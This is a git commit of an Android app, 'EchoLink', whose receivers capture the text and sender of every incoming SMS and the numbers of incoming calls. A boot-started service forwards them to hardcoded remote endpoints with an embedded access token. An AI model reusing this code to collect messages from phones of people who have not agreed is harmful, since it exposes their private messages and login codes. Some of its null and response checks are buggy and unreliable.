first commit

This commit is contained in:
2023-12-06 20:04:47 +08:00
commit bce11daee7
48 changed files with 1457 additions and 0 deletions

1
app/.gitignore vendored Normal file
View File

@@ -0,0 +1 @@
/build

45
app/build.gradle Normal file
View File

@@ -0,0 +1,45 @@
plugins {
id 'com.android.application'
}
android {
namespace 'com.nbee.echolink'
compileSdk 31
defaultConfig {
applicationId "com.nbee.echolink"
minSdk 26
targetSdk 31
versionCode 1
versionName "1.0"
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
}
buildTypes {
release {
minifyEnabled false
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
}
}
compileOptions {
sourceCompatibility JavaVersion.VERSION_1_8
targetCompatibility JavaVersion.VERSION_1_8
}
}
dependencies {
// https://mvnrepository.com/artifact/com.squareup.okhttp3/okhttp
implementation 'com.squareup.okhttp3:okhttp:4.10.0'
// https://mvnrepository.com/artifact/org.projectlombok/lombok
compileOnly 'org.projectlombok:lombok:1.18.28'
// https://mvnrepository.com/artifact/com.google.code.gson/gson
implementation 'com.google.code.gson:gson:2.10'
implementation 'androidx.appcompat:appcompat:1.2.0'
implementation 'com.google.android.material:material:1.3.0'
implementation 'androidx.constraintlayout:constraintlayout:2.1.3'
testImplementation 'junit:junit:4.13.2'
androidTestImplementation 'androidx.test.ext:junit:1.1.3'
androidTestImplementation 'androidx.test.espresso:espresso-core:3.4.0'
}

View File

@@ -0,0 +1,20 @@
{
"version": 3,
"artifactType": {
"type": "APK",
"kind": "Directory"
},
"applicationId": "com.nbee.echolink",
"variantName": "debug",
"elements": [
{
"type": "SINGLE",
"filters": [],
"attributes": [],
"versionCode": 1,
"versionName": "1.0",
"outputFile": "app-debug.apk"
}
],
"elementType": "File"
}

21
app/proguard-rules.pro vendored Normal file
View File

@@ -0,0 +1,21 @@
# Add project specific ProGuard rules here.
# You can control the set of applied configuration files using the
# proguardFiles setting in build.gradle.
#
# For more details, see
# http://developer.android.com/guide/developing/tools/proguard.html
# If your project uses WebView with JS, uncomment the following
# and specify the fully qualified class name to the JavaScript interface
# class:
#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
# public *;
#}
# Uncomment this to preserve the line number information for
# debugging stack traces.
#-keepattributes SourceFile,LineNumberTable
# If you keep the line number information, uncomment this to
# hide the original source file name.
#-renamesourcefileattribute SourceFile

View File

@@ -0,0 +1,26 @@
package com.nbee.echolink;
import android.content.Context;
import androidx.test.platform.app.InstrumentationRegistry;
import androidx.test.ext.junit.runners.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
import static org.junit.Assert.*;
/**
* Instrumented test, which will execute on an Android device.
*
* @see <a href="http://d.android.com/tools/testing">Testing documentation</a>
*/
@RunWith(AndroidJUnit4.class)
public class ExampleInstrumentedTest {
@Test
public void useAppContext() {
// Context of the app under test.
Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
assertEquals("com.nbee.echolink", appContext.getPackageName());
}
}

View File

@@ -0,0 +1,66 @@
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools">
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
<uses-permission android:name="android.permission.ACTION_NOTIFICATION_LISTENER_SETTINGS" />
<uses-permission android:name="android.permission.ANSWER_PHONE_CALLS" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.READ_PHONE_NUMBERS" />
<uses-permission android:name="android.permission.CALL_PHONE" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.READ_CALL_LOG" />
<uses-permission android:name="android.permission.WRITE_CALL_LOG" />
<uses-permission android:name="android.permission.WRITE_CONTACTS" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<application
android:allowBackup="true"
android:fullBackupContent="@xml/backup_rules"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="@style/Theme.EchoLink"
tools:targetApi="29">
<activity
android:name=".MainActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
<meta-data
android:name="android.app.lib_name"
android:value="" />
</activity>
<receiver android:name=".broadcast.SMSReceiver"
android:enabled="true"
android:exported="true">
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
</intent-filter>
</receiver>
<receiver android:name=".broadcast.PhoneCallReceiver"
android:enabled="true"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.PHONE_STATE"/>
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
<action android:name="android.intent.action.NEW_OUTGOING_CALL" />
</intent-filter>
</receiver>
<receiver android:name=".broadcast.BootCompletedReceiver" android:enabled="true" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED"/>
</intent-filter>
</receiver>
<service android:name=".service.MonitorService" />
</application>
</manifest>

View File

@@ -0,0 +1,11 @@
package com.nbee.echolink;
import android.os.Build;
public class DeviceInfo {
public static int getApiVersion() {
return Build.VERSION.SDK_INT;
}
}

View File

@@ -0,0 +1,28 @@
package com.nbee.echolink;
import androidx.appcompat.app.AppCompatActivity;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.Bundle;
import android.telephony.TelephonyManager;
import android.util.Log;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
import com.nbee.echolink.broadcast.PhoneCallReceiver;
import com.nbee.echolink.broadcast.SMSReceiver;
import com.nbee.echolink.service.MonitorService;
public class MainActivity extends AppCompatActivity {
private final String TAG = "MainActivity";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
// 启动MonitorService服务
Intent serviceIntent = new Intent(this, MonitorService.class);
startService(serviceIntent);
}
}

View File

@@ -0,0 +1,18 @@
package com.nbee.echolink.broadcast;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import com.nbee.echolink.service.MonitorService;
public class BootCompletedReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
if (Intent.ACTION_BOOT_COMPLETED.equals(intent.getAction())) {
// 启动您的服务或活动
Intent serviceIntent = new Intent(context, MonitorService.class);
context.startService(serviceIntent);
}
}
}

View File

@@ -0,0 +1,32 @@
package com.nbee.echolink.broadcast;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
import com.nbee.echolink.service.MonitorService;
public class PhoneCallReceiver extends BroadcastReceiver {
private static final String TAG = "PhoneCallReceiver";
@Override
public void onReceive(Context context, Intent intent) {
TelephonyManager tm = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
if (tm != null) {
tm.listen(new PhoneStateListener() {
@Override
public void onCallStateChanged(int state, String incomingNumber) {
super.onCallStateChanged(state, incomingNumber);
if (state == TelephonyManager.CALL_STATE_RINGING) {
// 来电号码
Intent serviceIntent = new Intent(context, MonitorService.class);
serviceIntent.putExtra("incomingNumber", incomingNumber);
context.startService(serviceIntent);
}
}
}, PhoneStateListener.LISTEN_CALL_STATE);
}
}
}

View File

@@ -0,0 +1,48 @@
package com.nbee.echolink.broadcast;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsMessage;
import android.util.Log;
import com.nbee.echolink.service.MonitorService;
public class SMSReceiver extends BroadcastReceiver {
private static final String TAG = "SMSReceiver";
private static final String SMS_RECEIVED_ACTION = "android.provider.Telephony.SMS_RECEIVED";
@Override
public void onReceive(Context context, Intent intent) {
if (SMS_RECEIVED_ACTION.equals(intent.getAction())) {
Bundle bundle = intent.getExtras();
if (bundle != null) {
Object[] pdus = (Object[]) bundle.get("pdus");
if (pdus != null) {
StringBuilder fullMessage = new StringBuilder();
String sender = null;
for (Object pdu : pdus) {
SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) pdu);
if (sender == null) {
// 只需要从第一部分获取发件人号码
sender = smsMessage.getDisplayOriginatingAddress();
}
// 拼接每个部分的消息内容
fullMessage.append(smsMessage.getMessageBody());
}
Log.d(TAG, "Sender: " + sender + ", Message: " + fullMessage.toString());
// 在这里处理完整的短信内容
Intent serviceIntent = new Intent(context, MonitorService.class);
serviceIntent.putExtra("sender", sender);
serviceIntent.putExtra("messageBody", fullMessage.toString());
context.startService(serviceIntent);
}
}
}
}
}

View File

@@ -0,0 +1,40 @@
package com.nbee.echolink.model;
public class CallInfo {
private String phoneNumber;
private String callTime;
public CallInfo() {
}
public CallInfo(String phoneNumber, String callTime) {
this.phoneNumber = phoneNumber;
this.callTime = callTime;
}
public String getPhoneNumber() {
return phoneNumber;
}
public void setPhoneNumber(String phoneNumber) {
this.phoneNumber = phoneNumber;
}
public String getCallTime() {
return callTime;
}
public void setCallTime(String callTime) {
this.callTime = callTime;
}
@Override
public String toString() {
return "CallInfo{" +
"phoneNumber='" + phoneNumber + '\'' +
", callTime='" + callTime + '\'' +
'}';
}
}

View File

@@ -0,0 +1,52 @@
package com.nbee.echolink.model;
import lombok.Data;
public class SMSInfo {
private String smsNumber;
private String smsAcceptanceTime;
private String smsContent;
public SMSInfo() {
}
public SMSInfo(String smsNumber, String smsAcceptanceTime, String smsContent) {
this.smsNumber = smsNumber;
this.smsAcceptanceTime = smsAcceptanceTime;
this.smsContent = smsContent;
}
public String getSmsNumber() {
return smsNumber;
}
public void setSmsNumber(String smsNumber) {
this.smsNumber = smsNumber;
}
public String getSmsAcceptanceTime() {
return smsAcceptanceTime;
}
public void setSmsAcceptanceTime(String smsAcceptanceTime) {
this.smsAcceptanceTime = smsAcceptanceTime;
}
public String getSmsContent() {
return smsContent;
}
public void setSmsContent(String smsContent) {
this.smsContent = smsContent;
}
@Override
public String toString() {
return "SMSInfo{" +
"smsNumber='" + smsNumber + '\'' +
", smsAcceptanceTime='" + smsAcceptanceTime + '\'' +
", smsContent='" + smsContent + '\'' +
'}';
}
}

View File

@@ -0,0 +1,58 @@
package com.nbee.echolink.response;
import lombok.Data;
public class ApiResponse<T> {
private String code;
/** Response message. */
private String msg;
/** Response timestamp. */
private Long timestamp;
/** Response data. */
private T data;
public String getCode() {
return code;
}
public void setCode(String code) {
this.code = code;
}
public String getMsg() {
return msg;
}
public void setMsg(String msg) {
this.msg = msg;
}
public Long getTimestamp() {
return timestamp;
}
public void setTimestamp(Long timestamp) {
this.timestamp = timestamp;
}
public T getData() {
return data;
}
public void setData(T data) {
this.data = data;
}
@Override
public String toString() {
return "ApiResponse{" +
"code='" + code + '\'' +
", msg='" + msg + '\'' +
", timestamp=" + timestamp +
", data=" + data +
'}';
}
}

View File

@@ -0,0 +1,121 @@
package com.nbee.echolink.service;
import android.app.Notification;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.Service;
import android.content.Intent;
import android.os.Build;
import android.os.IBinder;
import android.util.Log;
import androidx.annotation.Nullable;
import androidx.core.app.NotificationCompat;
import com.nbee.echolink.R;
import com.nbee.echolink.model.CallInfo;
import com.nbee.echolink.model.SMSInfo;
import com.nbee.echolink.utils.NetworkUtil;
import java.text.SimpleDateFormat;
import java.util.Date;
public class MonitorService extends Service {
private NetworkUtil networkUtil;
private static final String TAG = "MonitorService";
private String lastPhoneNumber = null;
private long lastCallTime = 0;
@Override
public void onCreate() {
super.onCreate();
startForegroundService();
networkUtil = new NetworkUtil(this);
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
if (intent != null) {
if (intent.hasExtra("incomingNumber")) {
String incomingNumber = intent.getStringExtra("incomingNumber");
Log.i(TAG, "获取到来电信息,号码: "+ incomingNumber);
sendCallInfoToServer(incomingNumber);
} else if (intent.hasExtra("sender") && intent.hasExtra("messageBody")) {
String sender = intent.getStringExtra("sender");
String messageBody = intent.getStringExtra("messageBody");
Log.i(TAG, "获取到短信信息,号码: "+ sender);
sendSmsInfoToServer(sender, messageBody);
}
}
return START_STICKY;
}
private void sendCallInfoToServer(String incomingNumber) {
if (incomingNumber.equals("null") || incomingNumber == null) {
return;
}
long currentTimeMillis = System.currentTimeMillis();
if (incomingNumber.equals(lastPhoneNumber) && (currentTimeMillis - lastCallTime) < 70000) {
// 如果电话号码与上次相同且在70秒之内则不执行请求
Log.i(TAG, "sendCallInfoToServer: 电话号码与上次相同且在70秒之内不执行请求.");
return;
}
// 更新存储的电话号码和时间戳
lastPhoneNumber = incomingNumber;
lastCallTime = currentTimeMillis;
String currentTime = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date());
CallInfo callInfo = new CallInfo();
callInfo.setCallTime(currentTime);
callInfo.setPhoneNumber(incomingNumber);
networkUtil.postRequest(callInfo);
}
private void sendSmsInfoToServer(String sender,String messageBody){
if (checkNullString(sender,messageBody)){
return;
}
String currentTime = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date());
SMSInfo smsInfo = new SMSInfo();
smsInfo.setSmsNumber(sender);
smsInfo.setSmsContent(messageBody);
smsInfo.setSmsAcceptanceTime(currentTime);
networkUtil.postRequest(smsInfo);
}
private boolean checkNullString(String a, String b){
if (a == null || b == null){
return true;
}
if (a.equals("null") || b.equals("null")){
return true;
}
return false;
}
private void startForegroundService() {
// 创建通知频道仅在API 26及以上版本中需要
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
NotificationChannel channel = new NotificationChannel("channel_id", "Channel Name", NotificationManager.IMPORTANCE_DEFAULT);
NotificationManager notificationManager = getSystemService(NotificationManager.class);
notificationManager.createNotificationChannel(channel);
}
// 创建通知
Notification notification = new NotificationCompat.Builder(this, "channel_id")
.setContentTitle("服务运行中")
.setContentText("EchoLink正在运行")
.setSmallIcon(R.drawable.ic_notification) // 确保您有这个图标
.build();
// 启动前台服务
startForeground(1, notification);
}
@Nullable
@Override
public IBinder onBind(Intent intent) {
return null; // 不提供绑定服务的接口
}
}

View File

@@ -0,0 +1,95 @@
package com.nbee.echolink.utils;
import android.content.Context;
import android.os.Handler;
import android.util.Log;
import com.google.gson.Gson;
import com.nbee.echolink.R;
import com.nbee.echolink.model.CallInfo;
import com.nbee.echolink.model.SMSInfo;
import com.nbee.echolink.response.ApiResponse;
import java.io.IOException;
import okhttp3.MediaType;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.RequestBody;
public class NetworkUtil {
private final String TAG = "NetworkUtil";
private String callApiUrl;
private String smsApiUrl;
private String accessToken;
private Handler handler = new Handler();
private static final int MAX_RETRIES = 3;
private static final long RETRY_DELAY_MS = 2000; // 重试延迟例如2秒
// API URL
public NetworkUtil(Context context) {
callApiUrl = context.getResources().getString(R.string.call_api_url);
smsApiUrl = context.getResources().getString(R.string.message_api_url);
accessToken = context.getResources().getString(R.string.access_token);
}
public <T> void postRequest(T dataObject) {
if (dataObject instanceof CallInfo) {
postRequestWithRetry(dataObject, 0,callApiUrl);
} else if (dataObject instanceof SMSInfo) {
postRequestWithRetry(dataObject, 0,smsApiUrl);
}
}
private <T> void postRequestWithRetry(T dataObject, int retryCount,String apiUrl) {
OkHttpClient client = new OkHttpClient();
// ... 构建请求 ...
Request request = buildRequest(dataObject,apiUrl);
client.newCall(request).enqueue(new okhttp3.Callback() {
@Override
public void onFailure(okhttp3.Call call, IOException e) {
if (retryCount < MAX_RETRIES) {
handler.postDelayed(() -> postRequestWithRetry(dataObject, retryCount + 1,apiUrl), RETRY_DELAY_MS);
} else {
Log.e(TAG, "onFailure: Failed after " + MAX_RETRIES + " attempts", e);
// 超出重试次数,处理失败情况
}
}
@Override
public void onResponse(okhttp3.Call call, okhttp3.Response response) throws IOException {
if (!response.isSuccessful()) {
// 在这里处理响应错误
Log.d("onResponse", response.message());
throw new IOException("Unexpected code " + response);
}
// ... 处理响应 ...
Gson gson1 = new Gson();
ApiResponse apiResponse = gson1.fromJson(response.body().string(), ApiResponse.class);
if (apiResponse.getCode().equals(0)){
Log.i(TAG, "onResponse ResponseCode: " + apiResponse.getCode() + "ResponseMessage" + apiResponse.getMsg());
}
}
});
}
private <T>Request buildRequest(T dataObject,String apiUrl){
Gson gson = new Gson();
// 将对象转换为JSON字符串
String json = gson.toJson(dataObject);
// 创建请求体
MediaType JSON = MediaType.get("application/json; charset=utf-8");
RequestBody body = RequestBody.create(json, JSON);
// 构建请求,并设置请求头
Request request = new Request.Builder()
.url(apiUrl)
.addHeader("accessToken", accessToken) // 使用加载的accessToken
.addHeader("Content-Type", "application/json")
.post(body)
.build();
return request;
}
}

View File

@@ -0,0 +1,30 @@
<vector xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:aapt="http://schemas.android.com/aapt"
android:width="108dp"
android:height="108dp"
android:viewportWidth="108"
android:viewportHeight="108">
<path android:pathData="M31,63.928c0,0 6.4,-11 12.1,-13.1c7.2,-2.6 26,-1.4 26,-1.4l38.1,38.1L107,108.928l-32,-1L31,63.928z">
<aapt:attr name="android:fillColor">
<gradient
android:endX="85.84757"
android:endY="92.4963"
android:startX="42.9492"
android:startY="49.59793"
android:type="linear">
<item
android:color="#44000000"
android:offset="0.0" />
<item
android:color="#00000000"
android:offset="1.0" />
</gradient>
</aapt:attr>
</path>
<path
android:fillColor="#FFFFFF"
android:fillType="nonZero"
android:pathData="M65.3,45.828l3.8,-6.6c0.2,-0.4 0.1,-0.9 -0.3,-1.1c-0.4,-0.2 -0.9,-0.1 -1.1,0.3l-3.9,6.7c-6.3,-2.8 -13.4,-2.8 -19.7,0l-3.9,-6.7c-0.2,-0.4 -0.7,-0.5 -1.1,-0.3C38.8,38.328 38.7,38.828 38.9,39.228l3.8,6.6C36.2,49.428 31.7,56.028 31,63.928h46C76.3,56.028 71.8,49.428 65.3,45.828zM43.4,57.328c-0.8,0 -1.5,-0.5 -1.8,-1.2c-0.3,-0.7 -0.1,-1.5 0.4,-2.1c0.5,-0.5 1.4,-0.7 2.1,-0.4c0.7,0.3 1.2,1 1.2,1.8C45.3,56.528 44.5,57.328 43.4,57.328L43.4,57.328zM64.6,57.328c-0.8,0 -1.5,-0.5 -1.8,-1.2s-0.1,-1.5 0.4,-2.1c0.5,-0.5 1.4,-0.7 2.1,-0.4c0.7,0.3 1.2,1 1.2,1.8C66.5,56.528 65.6,57.328 64.6,57.328L64.6,57.328z"
android:strokeWidth="1"
android:strokeColor="#00000000" />
</vector>

View File

@@ -0,0 +1,170 @@
<?xml version="1.0" encoding="utf-8"?>
<vector xmlns:android="http://schemas.android.com/apk/res/android"
android:width="108dp"
android:height="108dp"
android:viewportWidth="108"
android:viewportHeight="108">
<path
android:fillColor="#3DDC84"
android:pathData="M0,0h108v108h-108z" />
<path
android:fillColor="#00000000"
android:pathData="M9,0L9,108"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M19,0L19,108"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M29,0L29,108"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M39,0L39,108"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M49,0L49,108"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M59,0L59,108"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M69,0L69,108"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M79,0L79,108"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M89,0L89,108"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M99,0L99,108"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M0,9L108,9"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M0,19L108,19"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M0,29L108,29"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M0,39L108,39"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M0,49L108,49"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M0,59L108,59"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M0,69L108,69"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M0,79L108,79"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M0,89L108,89"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M0,99L108,99"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M19,29L89,29"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M19,39L89,39"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M19,49L89,49"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M19,59L89,59"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M19,69L89,69"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M19,79L89,79"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M29,19L29,89"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M39,19L39,89"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M49,19L49,89"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M59,19L59,89"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M69,19L69,89"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
<path
android:fillColor="#00000000"
android:pathData="M79,19L79,89"
android:strokeWidth="0.8"
android:strokeColor="#33FFFFFF" />
</vector>

View File

@@ -0,0 +1,15 @@
<vector xmlns:android="http://schemas.android.com/apk/res/android"
android:width="200dp"
android:height="200dp"
android:viewportWidth="1024"
android:viewportHeight="1024">
<path
android:pathData="M921.6,880.6h-819.2A51.2,51.2 0,0 1,51.2 829.4v-66.6A107.7,107.7 0,0 1,158.7 655.4a30.7,30.7 0,0 0,30.7 -30.7V376.8A319.7,319.7 0,0 1,399.4 78.2a112,112 0,0 1,213.6 0A319.7,319.7 0,0 1,824.3 376.8v247.8a30.7,30.7 0,0 0,30.7 30.7h10.2A107.7,107.7 0,0 1,972.8 762.9v66.6a51.2,51.2 0,0 1,-51.2 51.2zM112.6,819.2h798.7v-56.3A46.1,46.1 0,0 0,865.3 716.8h-10.2a92.2,92.2 0,0 1,-92.2 -92.2V376.8a257.8,257.8 0,0 0,-184.3 -245.8l-19,-5.7 -2.7,-20.5a50.8,50.8 0,0 0,-100.8 0l-2.7,20.5 -19,5.7a257.8,257.8 0,0 0,-184.3 245.8v247.8A92.2,92.2 0,0 1,158.7 716.8,46.1 46.1,0 0,0 112.6,762.9z"
android:fillColor="#333333"/>
<path
android:pathData="M665.6,353.7a30.7,30.7 0,0 1,-25.6 -13.9A259.5,259.5 0,0 0,542.7 251.9a30.7,30.7 0,0 1,28.3 -54.5,320.9 320.9,0 0,1 120.6,108.7A30.7,30.7 0,0 1,665.6 353.7z"
android:fillColor="#3399FF"/>
<path
android:pathData="M512,1024a174.3,174.3 0,0 1,-174.1 -174.1h61.4a112.6,112.6 0,0 0,225.3 0h61.4a174.3,174.3 0,0 1,-174.1 174.1z"
android:fillColor="#333333"/>
</vector>

View File

@@ -0,0 +1,18 @@
<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
tools:context=".MainActivity">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Hello World!"
app:layout_constraintBottom_toBottomOf="parent"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toTopOf="parent" />
</androidx.constraintlayout.widget.ConstraintLayout>

View File

@@ -0,0 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
<background android:drawable="@drawable/ic_launcher_background" />
<foreground android:drawable="@drawable/ic_launcher_foreground" />
</adaptive-icon>

View File

@@ -0,0 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
<background android:drawable="@drawable/ic_launcher_background" />
<foreground android:drawable="@drawable/ic_launcher_foreground" />
</adaptive-icon>

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.4 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 982 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.7 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.9 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 5.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 7.6 KiB

View File

@@ -0,0 +1,16 @@
<resources xmlns:tools="http://schemas.android.com/tools">
<!-- Base application theme. -->
<style name="Theme.EchoLink" parent="Theme.MaterialComponents.DayNight.DarkActionBar">
<!-- Primary brand color. -->
<item name="colorPrimary">@color/purple_200</item>
<item name="colorPrimaryVariant">@color/purple_700</item>
<item name="colorOnPrimary">@color/black</item>
<!-- Secondary brand color. -->
<item name="colorSecondary">@color/teal_200</item>
<item name="colorSecondaryVariant">@color/teal_200</item>
<item name="colorOnSecondary">@color/black</item>
<!-- Status bar color. -->
<item name="android:statusBarColor">?attr/colorPrimaryVariant</item>
<!-- Customize your theme here. -->
</style>
</resources>

View File

@@ -0,0 +1,10 @@
<?xml version="1.0" encoding="utf-8"?>
<resources>
<color name="purple_200">#FFBB86FC</color>
<color name="purple_500">#FF6200EE</color>
<color name="purple_700">#FF3700B3</color>
<color name="teal_200">#FF03DAC5</color>
<color name="teal_700">#FF018786</color>
<color name="black">#FF000000</color>
<color name="white">#FFFFFFFF</color>
</resources>

View File

@@ -0,0 +1,6 @@
<resources>
<string name="app_name">EchoLink</string>
<string name="call_api_url">https://api.kimgo.cn/api/call</string>
<string name="message_api_url">https://api.kimgo.cn/api/sms</string>
<string name="access_token">gKGCDSgWV82XbU0H</string>
</resources>

View File

@@ -0,0 +1,16 @@
<resources xmlns:tools="http://schemas.android.com/tools">
<!-- Base application theme. -->
<style name="Theme.EchoLink" parent="Theme.MaterialComponents.DayNight.DarkActionBar">
<!-- Primary brand color. -->
<item name="colorPrimary">@color/purple_500</item>
<item name="colorPrimaryVariant">@color/purple_700</item>
<item name="colorOnPrimary">@color/white</item>
<!-- Secondary brand color. -->
<item name="colorSecondary">@color/teal_200</item>
<item name="colorSecondaryVariant">@color/teal_700</item>
<item name="colorOnSecondary">@color/black</item>
<!-- Status bar color. -->
<item name="android:statusBarColor">?attr/colorPrimaryVariant</item>
<!-- Customize your theme here. -->
</style>
</resources>

View File

@@ -0,0 +1,13 @@
<?xml version="1.0" encoding="utf-8"?><!--
Sample backup rules file; uncomment and customize as necessary.
See https://developer.android.com/guide/topics/data/autobackup
for details.
Note: This file is ignored for devices older that API 31
See https://developer.android.com/about/versions/12/backup-restore
-->
<full-backup-content>
<!--
<include domain="sharedpref" path="."/>
<exclude domain="sharedpref" path="device.xml"/>
-->
</full-backup-content>

View File

@@ -0,0 +1,19 @@
<?xml version="1.0" encoding="utf-8"?><!--
Sample data extraction rules file; uncomment and customize as necessary.
See https://developer.android.com/about/versions/12/backup-restore#xml-changes
for details.
-->
<data-extraction-rules>
<cloud-backup>
<!-- TODO: Use <include> and <exclude> to control what is backed up.
<include .../>
<exclude .../>
-->
</cloud-backup>
<!--
<device-transfer>
<include .../>
<exclude .../>
</device-transfer>
-->
</data-extraction-rules>

View File

@@ -0,0 +1,17 @@
package com.nbee.echolink;
import org.junit.Test;
import static org.junit.Assert.*;
/**
* Example local unit test, which will execute on the development machine (host).
*
* @see <a href="http://d.android.com/tools/testing">Testing documentation</a>
*/
public class ExampleUnitTest {
